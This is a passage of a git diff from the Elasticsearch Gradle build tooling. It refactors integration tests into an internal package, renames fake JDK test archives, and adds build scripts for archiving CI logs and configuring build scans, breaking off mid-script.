b/buildSrc/src/integTest/java/org/elasticsearch/gradle/BuildPluginIT.java deleted file mode 100644 index 506081516d046..0000000000000 --- a/buildSrc/src/integTest/java/org/elasticsearch/gradle/BuildPluginIT.java +++ /dev/null @@ -1,125 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ -package org.elasticsearch.gradle; - -import org.apache.commons.io.FileUtils; -import org.apache.commons.io.IOUtils; -import org.elasticsearch.gradle.test.GradleIntegrationTestCase; -import org.gradle.testkit.runner.BuildResult; -import org.gradle.testkit.runner.GradleRunner; -import org.junit.Rule; -import org.junit.rules.TemporaryFolder; - -import java.io.File; -import java.io.IOException; -import java.io.InputStream; -import java.nio.charset.StandardCharsets; -import java.nio.file.Files; -import java.nio.file.Path; -import java.util.Arrays; -import java.util.List; -import java.util.zip.ZipEntry; -import java.util.zip.ZipFile; - -import static org.elasticsearch.gradle.test.TestClasspathUtils.setupJarJdkClasspath; - -public class BuildPluginIT extends GradleIntegrationTestCase { - - @Rule - public TemporaryFolder tmpDir = new TemporaryFolder(); - - public void testPluginCanBeApplied() { - BuildResult result = getGradleRunner("elasticsearch.build").withArguments("hello", "-s").build(); - assertTaskSuccessful(result, ":hello"); - assertOutputContains("build plugin can be applied"); - } - - public void testCheckTask() { - setupJarJdkClasspath(getProjectDir("elasticsearch.build")); - BuildResult result = getGradleRunner("elasticsearch.build").withArguments("check", "assemble", "-s").build(); - assertTaskSuccessful(result, ":check"); - } - - public void testInsecureMavenRepository() throws IOException { - final String name = "elastic-maven"; - final String url = "http://s3.amazonaws.com/artifacts.elastic.co/maven"; - // add an insecure maven repository to the build.gradle - final List lines = Arrays.asList( - "repositories {", - " maven {", - " name \"elastic-maven\"", - " url \"" + url + "\"\n", - " }", - "}" - ); - runInsecureArtifactRepositoryTest(name, url, lines); - } - - public void testInsecureIvyRepository() throws IOException { - final String name = "elastic-ivy"; - final String url = "http://s3.amazonaws.com/artifacts.elastic.co/ivy"; - // add an insecure ivy repository to the build.gradle - final List lines = Arrays.asList( - "repositories {", - " ivy {", - " name \"elastic-ivy\"", - " url \"" + url + "\"\n", - " }", - "}" - ); - runInsecureArtifactRepositoryTest(name, url, lines); - } - - private void runInsecureArtifactRepositoryTest(final String name, final String url, final List lines) throws IOException { - final File projectDir = getProjectDir("elasticsearch.build"); - final Path projectDirPath = projectDir.toPath(); - FileUtils.copyDirectory(projectDir, tmpDir.getRoot(), file -> { - final Path relativePath = projectDirPath.relativize(file.toPath()); - for (Path segment : relativePath) { - if (segment.toString().equals("build")) { - return false; - } - } - return true; - }); - final List buildGradleLines = Files.readAllLines(tmpDir.getRoot().toPath().resolve("build.gradle"), StandardCharsets.UTF_8); - buildGradleLines.addAll(lines); - Files.write(tmpDir.getRoot().toPath().resolve("build.gradle"), buildGradleLines, StandardCharsets.UTF_8); - final BuildResult result = GradleRunner.create() - .withProjectDir(tmpDir.getRoot()) - .withArguments("clean", "hello", "-s", "-i", "--warning-mode=all", "--scan") - .withPluginClasspath() - .forwardOutput() - .buildAndFail(); - - assertOutputContains( - result.getOutput(), - "repository [" + name + "] on project with path [:] is not using a secure protocol for artifacts on [" + url + "]" - ); - } - - public void testLicenseAndNotice() throws IOException { - BuildResult result = getGradleRunner("elasticsearch.build").withArguments("clean", "assemble").build(); - - assertTaskSuccessful(result, ":assemble"); - - assertBuildFileExists(result, "elasticsearch.build", "distributions/elasticsearch.build.jar"); - - try (ZipFile zipFile = new ZipFile(new File(getBuildDir("elasticsearch.build"), "distributions/elasticsearch.build.jar"))) { - ZipEntry licenseEntry = zipFile.getEntry("META-INF/LICENSE.txt"); - ZipEntry noticeEntry = zipFile.getEntry("META-INF/NOTICE.txt"); - assertNotNull("Jar does not have META-INF/LICENSE.txt", licenseEntry); - assertNotNull("Jar does not have META-INF/NOTICE.txt", noticeEntry); - try (InputStream license = zipFile.getInputStream(licenseEntry); InputStream notice = zipFile.getInputStream(noticeEntry)) { - assertEquals("this is a test license file", IOUtils.toString(license, StandardCharsets.UTF_8.name())); - assertEquals("this is a test notice file", IOUtils.toString(notice, StandardCharsets.UTF_8.name())); - } - } - } - -} diff --git a/buildSrc/src/integTest/java/org/elasticsearch/gradle/ExportElasticsearchBuildResourcesTaskIT.java b/buildSrc/src/integTest/java/org/elasticsearch/gradle/ExportElasticsearchBuildResourcesTaskIT.java deleted file mode 100644 index 932e109cccd47..0000000000000 --- a/buildSrc/src/integTest/java/org/elasticsearch/gradle/ExportElasticsearchBuildResourcesTaskIT.java +++ /dev/null @@ -1,46 +0,0 @@ -package org.elasticsearch.gradle; - -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -import org.elasticsearch.gradle.test.GradleIntegrationTestCase; -import org.gradle.testkit.runner.BuildResult; - -public class ExportElasticsearchBuildResourcesTaskIT extends GradleIntegrationTestCase { - - public static final String PROJECT_NAME = "elasticsearch-build-resources"; - - public void testUpToDateWithSourcesConfigured() { - getGradleRunner(PROJECT_NAME).withArguments("clean", "-s").build(); - - BuildResult result = getGradleRunner(PROJECT_NAME).withArguments("buildResources", "-s", "-i").build(); - assertTaskSuccessful(result, ":buildResources"); - assertBuildFileExists(result, PROJECT_NAME, "build-tools-exported/checkstyle.xml"); - assertBuildFileExists(result, PROJECT_NAME, "build-tools-exported/checkstyle_suppressions.xml"); - - result = getGradleRunner(PROJECT_NAME).withArguments("buildResources", "-s", "-i").build(); - assertTaskUpToDate(result, ":buildResources"); - assertBuildFileExists(result, PROJECT_NAME, "build-tools-exported/checkstyle.xml"); - assertBuildFileExists(result, PROJECT_NAME, "build-tools-exported/checkstyle_suppressions.xml"); - } - - public void testOutputAsInput() { - BuildResult result = getGradleRunner(PROJECT_NAME).withArguments("clean", "sampleCopy", "-s", "-i").build(); - - assertTaskSuccessful(result, ":sampleCopy"); - assertBuildFileExists(result, PROJECT_NAME, "sampleCopy/checkstyle.xml"); - assertBuildFileExists(result, PROJECT_NAME, "sampleCopy/checkstyle_suppressions.xml"); - } - - public void testIncorrectUsage() { - assertOutputContains( - getGradleRunner(PROJECT_NAME).withArguments("noConfigAfterExecution", "-s", "-i").buildAndFail().getOutput(), - "buildResources can't be configured after the task ran" - ); - } -} diff --git a/buildSrc/src/integTest/java/org/elasticsearch/gradle/ReaperPluginIT.java b/buildSrc/src/integTest/java/org/elasticsearch/gradle/ReaperPluginIT.java index 4ba03b74a3096..1ca241bc01aa8 100644 --- a/buildSrc/src/integTest/java/org/elasticsearch/gradle/ReaperPluginIT.java +++ b/buildSrc/src/integTest/java/org/elasticsearch/gradle/ReaperPluginIT.java @@ -7,22 +7,19 @@ */ package org.elasticsearch.gradle; -import org.elasticsearch.gradle.test.GradleIntegrationTestCase; +import org.elasticsearch.gradle.internal.test.GradleIntegrationTestCase; import org.gradle.testkit.runner.BuildResult; -import org.gradle.testkit.runner.GradleRunner; -import org.junit.Before; public class ReaperPluginIT extends GradleIntegrationTestCase { - private GradleRunner runner; - - @Before - public void setup() { - runner = getGradleRunner("reaper"); + @Override + public String projectName() { + return "reaper"; } public void testCanLaunchReaper() { - BuildResult result = runner.withArguments(":launchReaper", "-S", "--info").build(); + BuildResult result = getGradleRunner().withArguments(":launchReaper", "-S", "--info").build(); assertTaskSuccessful(result, ":launchReaper"); assertOutputContains(result.getOutput(), "Copying reaper.jar..."); } + } diff --git a/buildSrc/src/integTest/java/org/elasticsearch/gradle/internal/BuildPluginIT.java b/buildSrc/src/integTest/java/org/elasticsearch/gradle/internal/BuildPluginIT.java new file mode 100644 index 0000000000000..44ce9e3f44f53 --- /dev/null +++ b/buildSrc/src/integTest/java/org/elasticsearch/gradle/internal/BuildPluginIT.java @@ -0,0 +1,65 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.gradle.internal; + +import org.apache.commons.io.IOUtils; +import org.elasticsearch.gradle.internal.test.GradleIntegrationTestCase; +import org.gradle.testkit.runner.BuildResult; +import org.junit.Rule; +import org.junit.rules.TemporaryFolder; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.zip.ZipEntry; +import java.util.zip.ZipFile; + +import static org.elasticsearch.gradle.internal.test.TestClasspathUtils.setupJarJdkClasspath; + +public class BuildPluginIT extends GradleIntegrationTestCase { + + @Rule + public TemporaryFolder tmpDir = new TemporaryFolder(); + + @Override + public String projectName() { + return "elasticsearch.build"; + } + + public void testPluginCanBeApplied() { + BuildResult result = getGradleRunner().withArguments("hello", "-s").build(); + assertTaskSuccessful(result, ":hello"); + assertOutputContains("build plugin can be applied"); + } + + public void testCheckTask() { + setupJarJdkClasspath(getProjectDir()); + BuildResult result = getGradleRunner().withArguments("check", "assemble", "-s").build(); + assertTaskSuccessful(result, ":check"); + } + + public void testLicenseAndNotice() throws IOException { + BuildResult result = getGradleRunner().withArguments("clean", "assemble").build(); + + assertTaskSuccessful(result, ":assemble"); + + assertBuildFileExists(result, projectName(), "distributions/elasticsearch.build.jar"); + + try (ZipFile zipFile = new ZipFile(new File(getBuildDir(projectName()), "distributions/elasticsearch.build.jar"))) { + ZipEntry licenseEntry = zipFile.getEntry("META-INF/LICENSE.txt"); + ZipEntry noticeEntry = zipFile.getEntry("META-INF/NOTICE.txt"); + assertNotNull("Jar does not have META-INF/LICENSE.txt", licenseEntry); + assertNotNull("Jar does not have META-INF/NOTICE.txt", noticeEntry); + try (InputStream license = zipFile.getInputStream(licenseEntry); InputStream notice = zipFile.getInputStream(noticeEntry)) { + assertEquals("this is a test license file", IOUtils.toString(license, StandardCharsets.UTF_8.name())); + assertEquals("this is a test notice file", IOUtils.toString(notice, StandardCharsets.UTF_8.name())); + } + } + } +} diff --git a/buildSrc/src/integTest/java/org/elasticsearch/gradle/internal/ExportElasticsearchBuildResourcesTaskIT.java b/buildSrc/src/integTest/java/org/elasticsearch/gradle/internal/ExportElasticsearchBuildResourcesTaskIT.java new file mode 100644 index 0000000000000..af2e6fc5d34d0 --- /dev/null +++ b/buildSrc/src/integTest/java/org/elasticsearch/gradle/internal/ExportElasticsearchBuildResourcesTaskIT.java @@ -0,0 +1,52 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal; + +import org.elasticsearch.gradle.internal.test.GradleIntegrationTestCase; +import org.gradle.testkit.runner.BuildResult; + +public class ExportElasticsearchBuildResourcesTaskIT extends GradleIntegrationTestCase { + + public static final String PROJECT_NAME = "elasticsearch-build-resources"; + + @Override + public String projectName() { + return PROJECT_NAME; + } + + public void testUpToDateWithSourcesConfigured() { + getGradleRunner().withArguments("clean", "-s").build(); + + BuildResult result = getGradleRunner().withArguments("buildResources", "-s", "-i").build(); + assertTaskSuccessful(result, ":buildResources"); + assertBuildFileExists(result, PROJECT_NAME, "build-tools-exported/checkstyle.xml"); + assertBuildFileExists(result, PROJECT_NAME, "build-tools-exported/checkstyle_suppressions.xml"); + + result = getGradleRunner().withArguments("buildResources", "-s", "-i").build(); + assertTaskUpToDate(result, ":buildResources"); + assertBuildFileExists(result, PROJECT_NAME, "build-tools-exported/checkstyle.xml"); + assertBuildFileExists(result, PROJECT_NAME, "build-tools-exported/checkstyle_suppressions.xml"); + } + + public void testOutputAsInput() { + BuildResult result = getGradleRunner().withArguments("clean", "sampleCopy", "-s", "-i").build(); + + assertTaskSuccessful(result, ":sampleCopy"); + assertBuildFileExists(result, PROJECT_NAME, "sampleCopy/checkstyle.xml"); + assertBuildFileExists(result, PROJECT_NAME, "sampleCopy/checkstyle_suppressions.xml"); + } + + public void testIncorrectUsage() { + assertOutputContains( + getGradleRunner().withArguments("noConfigAfterExecution", "-s", "-i").buildAndFail().getOutput(), + "buildResources can't be configured after the task ran" + ); + } + +} diff --git a/buildSrc/src/integTest/java/org/elasticsearch/gradle/tar/SymbolicLinkPreservingTarIT.java b/buildSrc/src/integTest/java/org/elasticsearch/gradle/internal/SymbolicLinkPreservingTarIT.java similarity index 90% rename from buildSrc/src/integTest/java/org/elasticsearch/gradle/tar/SymbolicLinkPreservingTarIT.java rename to buildSrc/src/integTest/java/org/elasticsearch/gradle/internal/SymbolicLinkPreservingTarIT.java index 6e7f68fcd2fec..1f74662e616e9 100644 --- a/buildSrc/src/integTest/java/org/elasticsearch/gradle/tar/SymbolicLinkPreservingTarIT.java +++ b/buildSrc/src/integTest/java/org/elasticsearch/gradle/internal/SymbolicLinkPreservingTarIT.java @@ -5,13 +5,13 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.tar; +package org.elasticsearch.gradle.internal; import org.apache.commons.compress.archivers.tar.TarArchiveEntry; import org.apache.commons.compress.archivers.tar.TarArchiveInputStream; import org.apache.commons.compress.compressors.bzip2.BZip2CompressorInputStream; import org.apache.commons.compress.compressors.gzip.GzipCompressorInputStream; -import org.elasticsearch.gradle.test.GradleIntegrationTestCase; +import org.elasticsearch.gradle.internal.test.GradleIntegrationTestCase; import org.gradle.api.GradleException; import org.gradle.testkit.runner.GradleRunner; import org.junit.Before; @@ -31,6 +31,11 @@ public class SymbolicLinkPreservingTarIT extends GradleIntegrationTestCase { + @Override + public String projectName() { + return "symbolic-link-preserving-tar"; + } + @Rule public final TemporaryFolder temporaryFolder = new TemporaryFolder(); @@ -133,23 +138,15 @@ private void assertTar(final String extension, final FileInputStreamWrapper wrap } private void runBuild(final String task, final boolean preserveFileTimestamps) { - final GradleRunner runner = GradleRunner.create() - .withProjectDir(getProjectDir()) - .withArguments( - task, - "-Dtests.symbolic_link_preserving_tar_source=" + temporaryFolder.getRoot().toString(), - "-Dtests.symbolic_link_preserving_tar_preserve_file_timestamps=" + preserveFileTimestamps, - "-i" - ) - .withPluginClasspath(); - + final GradleRunner runner = getGradleRunner().withArguments( + task, + "-Dtests.symbolic_link_preserving_tar_source=" + temporaryFolder.getRoot().toString(), + "-Dtests.symbolic_link_preserving_tar_preserve_file_timestamps=" + preserveFileTimestamps, + "-i" + ); runner.build(); } - private File getProjectDir() { - return getProjectDir("symbolic-link-preserving-tar"); - } - private File getOutputFile(final String extension) { return getProjectDir().toPath().resolve("build/distributions/symbolic-link-preserving-tar.tar" + extension).toFile(); } diff --git a/buildSrc/src/integTest/java/org/elasticsearch/gradle/precommit/TestingConventionsTasksIT.java b/buildSrc/src/integTest/java/org/elasticsearch/gradle/precommit/TestingConventionsTasksIT.java index 588605f272c63..6ecf6582e7237 100644 --- a/buildSrc/src/integTest/java/org/elasticsearch/gradle/precommit/TestingConventionsTasksIT.java +++ b/buildSrc/src/integTest/java/org/elasticsearch/gradle/precommit/TestingConventionsTasksIT.java @@ -7,23 +7,19 @@ */ package org.elasticsearch.gradle.precommit; -import org.elasticsearch.gradle.test.GradleIntegrationTestCase; +import org.elasticsearch.gradle.internal.test.GradleIntegrationTestCase; import org.gradle.testkit.runner.BuildResult; import org.gradle.testkit.runner.GradleRunner; -import org.junit.Before; public class TestingConventionsTasksIT extends GradleIntegrationTestCase { - @Before - public void setUp() {} + @Override + public String projectName() { + return "testingConventions"; + } public void testInnerClasses() { - GradleRunner runner = getGradleRunner("testingConventions").withArguments( - "clean", - ":no_tests_in_inner_classes:testingConventions", - "-i", - "-s" - ); + GradleRunner runner = getGradleRunner().withArguments("clean", ":no_tests_in_inner_classes:testingConventions", "-i", "-s"); BuildResult result = runner.buildAndFail(); assertOutputContains( result.getOutput(), @@ -37,12 +33,7 @@ public void testInnerClasses() { } public void testNamingConvention() { - GradleRunner runner = getGradleRunner("testingConventions").withArguments( - "clean", - ":incorrect_naming_conventions:testingConventions", - "-i", - "-s" - ); + GradleRunner runner = getGradleRunner().withArguments("clean", ":incorrect_naming_conventions:testingConventions", "-i", "-s"); BuildResult result = runner.buildAndFail(); assertOutputContains( result.getOutput(), @@ -55,12 +46,7 @@ public void testNamingConvention() { } public void testNoEmptyTasks() { - GradleRunner runner = getGradleRunner("testingConventions").withArguments( - "clean", - ":empty_test_task:testingConventions", - "-i", - "-s" - ); + GradleRunner runner = getGradleRunner().withArguments("clean", ":empty_test_task:testingConventions", "-i", "-s"); BuildResult result = runner.buildAndFail(); assertOutputContains( result.getOutput(), @@ -70,12 +56,7 @@ public void testNoEmptyTasks() { } public void testAllTestTasksIncluded() { - GradleRunner runner = getGradleRunner("testingConventions").withArguments( - "clean", - ":all_classes_in_tasks:testingConventions", - "-i", - "-s" - ); + GradleRunner runner = getGradleRunner().withArguments("clean", ":all_classes_in_tasks:testingConventions", "-i", "-s"); BuildResult result = runner.buildAndFail(); assertOutputContains( result.getOutput(), @@ -85,12 +66,7 @@ public void testAllTestTasksIncluded() { } public void testTaskNotImplementBaseClass() { - GradleRunner runner = getGradleRunner("testingConventions").withArguments( - "clean", - ":not_implementing_base:testingConventions", - "-i", - "-s" - ); + GradleRunner runner = getGradleRunner().withArguments("clean", ":not_implementing_base:testingConventions", "-i", "-s"); BuildResult result = runner.buildAndFail(); assertOutputContains( result.getOutput(), @@ -104,29 +80,19 @@ public void testTaskNotImplementBaseClass() { } public void testValidSetupWithoutBaseClass() { - GradleRunner runner = getGradleRunner("testingConventions").withArguments( - "clean", - ":valid_setup_no_base:testingConventions", - "-i", - "-s" - ); + GradleRunner runner = getGradleRunner().withArguments("clean", ":valid_setup_no_base:testingConventions", "-i", "-s"); BuildResult result = runner.build(); assertTaskSuccessful(result, ":valid_setup_no_base:testingConventions"); } public void testValidSetupWithBaseClass() { - GradleRunner runner = getGradleRunner("testingConventions").withArguments( - "clean", - ":valid_setup_with_base:testingConventions", - "-i", - "-s" - ); + GradleRunner runner = getGradleRunner().withArguments("clean", ":valid_setup_with_base:testingConventions", "-i", "-s"); BuildResult result = runner.build(); assertTaskSuccessful(result, ":valid_setup_with_base:testingConventions"); } public void testTestsInMain() { - GradleRunner runner = getGradleRunner("testingConventions").withArguments("clean", ":tests_in_main:testingConventions", "-i", "-s"); + GradleRunner runner = getGradleRunner().withArguments("clean", ":tests_in_main:testingConventions", "-i", "-s"); BuildResult result = runner.buildAndFail(); assertOutputContains( result.getOutput(), diff --git a/buildSrc/src/integTest/java/org/elasticsearch/gradle/precommit/ThirdPartyAuditTaskIT.java b/buildSrc/src/integTest/java/org/elasticsearch/gradle/precommit/ThirdPartyAuditTaskIT.java index d5bd23762a062..5bd91e0bf3ac3 100644 --- a/buildSrc/src/integTest/java/org/elasticsearch/gradle/precommit/ThirdPartyAuditTaskIT.java +++ b/buildSrc/src/integTest/java/org/elasticsearch/gradle/precommit/ThirdPartyAuditTaskIT.java @@ -8,24 +8,29 @@ package org.elasticsearch.gradle.precommit; -import org.elasticsearch.gradle.test.GradleIntegrationTestCase; +import org.elasticsearch.gradle.internal.test.GradleIntegrationTestCase; import org.gradle.testkit.runner.BuildResult; import org.junit.Before; -import static org.elasticsearch.gradle.test.TestClasspathUtils.setupJarJdkClasspath; +import static org.elasticsearch.gradle.internal.test.TestClasspathUtils.setupJarJdkClasspath; public class ThirdPartyAuditTaskIT extends GradleIntegrationTestCase { + @Override + public String projectName() { + return "thirdPartyAudit"; + } + @Before public void setUp() throws Exception { // Build the sample jars - getGradleRunner("thirdPartyAudit").withArguments(":sample_jars:build", "-s").build(); + getGradleRunner().withArguments(":sample_jars:build", "-s").build(); // propagate jdkjarhell jar - setupJarJdkClasspath(getProjectDir("thirdPartyAudit")); + setupJarJdkClasspath(getProjectDir()); } public void testElasticsearchIgnored() { - BuildResult result = getGradleRunner("thirdPartyAudit").withArguments( + BuildResult result = getGradleRunner().withArguments( ":clean", ":empty", "-s", @@ -39,7 +44,7 @@ public void testElasticsearchIgnored() { } public void testViolationFoundAndCompileOnlyIgnored() { - BuildResult result = getGradleRunner("thirdPartyAudit").withArguments( + BuildResult result = getGradleRunner().withArguments( ":clean", ":absurd", "-s", @@ -56,7 +61,7 @@ public void testViolationFoundAndCompileOnlyIgnored() { } public void testClassNotFoundAndCompileOnlyIgnored() { - BuildResult result = getGradleRunner("thirdPartyAudit").withArguments( + BuildResult result = getGradleRunner().withArguments( ":clean", ":absurd", "-s", @@ -78,7 +83,7 @@ public void testClassNotFoundAndCompileOnlyIgnored() { } public void testJarHellWithJDK() { - BuildResult result = getGradleRunner("thirdPartyAudit").withArguments( + BuildResult result = getGradleRunner().withArguments( ":clean", ":absurd", "-s", @@ -100,7 +105,7 @@ public void testJarHellWithJDK() { } public void testElasticsearchIgnoredWithViolations() { - BuildResult result = getGradleRunner("thirdPartyAudit").withArguments( + BuildResult result = getGradleRunner().withArguments( ":clean", ":absurd", "-s", diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_elasticsearch-with-added-config.tar.gz b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_elasticsearch-with-added-config.tar.gz new file mode 100644 index 0000000000000..6b1f5d4fc37a5 Binary files /dev/null and b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_elasticsearch-with-added-config.tar.gz differ diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_elasticsearch-with-added-jar.tar.gz b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_elasticsearch-with-added-jar.tar.gz new file mode 100644 index 0000000000000..c449d39cb1188 Binary files /dev/null and b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_elasticsearch-with-added-jar.tar.gz differ diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_adoptopenjdk_linux.tar.gz b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_adoptopenjdk_linux.tar.gz similarity index 100% rename from buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_adoptopenjdk_linux.tar.gz rename to buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_adoptopenjdk_linux.tar.gz diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_adoptopenjdk_osx.tar.gz b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_adoptopenjdk_osx.tar.gz similarity index 100% rename from buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_adoptopenjdk_osx.tar.gz rename to buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_adoptopenjdk_osx.tar.gz diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_adoptopenjdk_windows.zip b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_adoptopenjdk_windows.zip similarity index 100% rename from buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_adoptopenjdk_windows.zip rename to buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_adoptopenjdk_windows.zip diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_azuljdk_linux_aarch64.tar.gz b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_azuljdk_linux_aarch64.tar.gz similarity index 100% rename from buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_azuljdk_linux_aarch64.tar.gz rename to buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_azuljdk_linux_aarch64.tar.gz diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_azuljdk_osx_aarch64.tar.gz b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_azuljdk_osx_aarch64.tar.gz similarity index 100% rename from buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_azuljdk_osx_aarch64.tar.gz rename to buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_azuljdk_osx_aarch64.tar.gz diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_git/remote/.ci/java-versions.properties b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_git/remote/.ci/java-versions.properties deleted file mode 100644 index 4f728deb42e0c..0000000000000 --- a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_git/remote/.ci/java-versions.properties +++ /dev/null @@ -1,10 +0,0 @@ -# -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0 and the Server Side Public License, v 1; you may not use this file except -# in compliance with, at your election, the Elastic License 2.0 or the Server -# Side Public License, v 1. -# -ES_BUILD_JAVA=openjdk11 -ES_RUNTIME_JAVA=openjdk11 -GRADLE_TASK=build diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_git/remote/buildSrc/src/main/resources/minimumCompilerVersion b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_git/remote/buildSrc/src/main/resources/minimumCompilerVersion new file mode 100644 index 0000000000000..b4de394767536 --- /dev/null +++ b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_git/remote/buildSrc/src/main/resources/minimumCompilerVersion @@ -0,0 +1 @@ +11 diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_openjdk_linux.tar.gz b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_openjdk_linux.tar.gz similarity index 100% rename from buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_openjdk_linux.tar.gz rename to buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_openjdk_linux.tar.gz diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_openjdk_osx.tar.gz b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_openjdk_osx.tar.gz similarity index 100% rename from buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_openjdk_osx.tar.gz rename to buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_openjdk_osx.tar.gz diff --git a/buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_openjdk_windows.zip b/buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_openjdk_windows.zip similarity index 100% rename from buildSrc/src/integTest/resources/org/elasticsearch/gradle/fake_openjdk_windows.zip rename to buildSrc/src/integTest/resources/org/elasticsearch/gradle/internal/fake_openjdk_windows.zip diff --git a/buildSrc/src/main/groovy/elasticsearch.build-complete.gradle b/buildSrc/src/main/groovy/elasticsearch.build-complete.gradle new file mode 100644 index 0000000000000..5d0716d5d9959 --- /dev/null +++ b/buildSrc/src/main/groovy/elasticsearch.build-complete.gradle @@ -0,0 +1,57 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +import java.nio.file.Files + +String buildNumber = System.getenv('BUILD_NUMBER') + +if (buildNumber) { + File uploadFile = file("build/${buildNumber}.tar.bz2") + project.gradle.buildFinished { result -> + println "build complete, generating: $uploadFile" + if (uploadFile.exists()) { + project.delete(uploadFile) + } + + try { + ant.tar(destfile: uploadFile, compression: "bzip2", longfile: "gnu") { + fileset(dir: projectDir) { + Set fileSet = fileTree(projectDir) { + include("**/*.hprof") + include("**/reaper.log") + include("**/build/test-results/**/*.xml") + include("**/build/testclusters/**") + exclude("**/build/testclusters/**/data/**") + exclude("**/build/testclusters/**/distro/**") + exclude("**/build/testclusters/**/repo/**") + exclude("**/build/testclusters/**/extract/**") + } + .files + .findAll { Files.isRegularFile(it.toPath()) } + + if (fileSet.empty) { + // In cases where we don't match any workspace files, exclude everything + ant.exclude(name: "**/*") + } else { + fileSet.each { + ant.include(name: projectDir.toPath().relativize(it.toPath())) + } + } + } + + fileset(dir: "${gradle.gradleUserHomeDir}/daemon/${gradle.gradleVersion}", followsymlinks: false) { + include(name: "**/daemon-${ProcessHandle.current().pid()}*.log") + } + + fileset(dir: "${gradle.gradleUserHomeDir}/workers", followsymlinks: false) + } + } catch (Exception e) { + logger.lifecycle("Failed to archive additional logs", e) + } + } +} diff --git a/buildSrc/src/main/groovy/elasticsearch.build-scan.gradle b/buildSrc/src/main/groovy/elasticsearch.build-scan.gradle new file mode 100644 index 0000000000000..8db97612c2a35 --- /dev/null +++ b/buildSrc/src/main/groovy/elasticsearch.build-scan.gradle @@ -0,0 +1,122 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +import org.elasticsearch.gradle.Architecture +import org.elasticsearch.gradle.OS +import org.elasticsearch.gradle.internal.info.BuildParams +import org.gradle.initialization.BuildRequestMetaData +import org.elasticsearch.gradle.internal.test.rerun.TestRerunPlugin +import java.util.concurrent.TimeUnit + +long startTime = project.gradle.services.get(BuildRequestMetaData).getStartTime() + +buildScan { + background { + URL jenkinsUrl = System.getenv('JENKINS_URL') ? new URL(System.getenv('JENKINS_URL')) : null + String buildNumber = System.getenv('BUILD_NUMBER') + String buildUrl = System.getenv('BUILD_URL') + String jobName = System.getenv('JOB_NAME') + String nodeName = 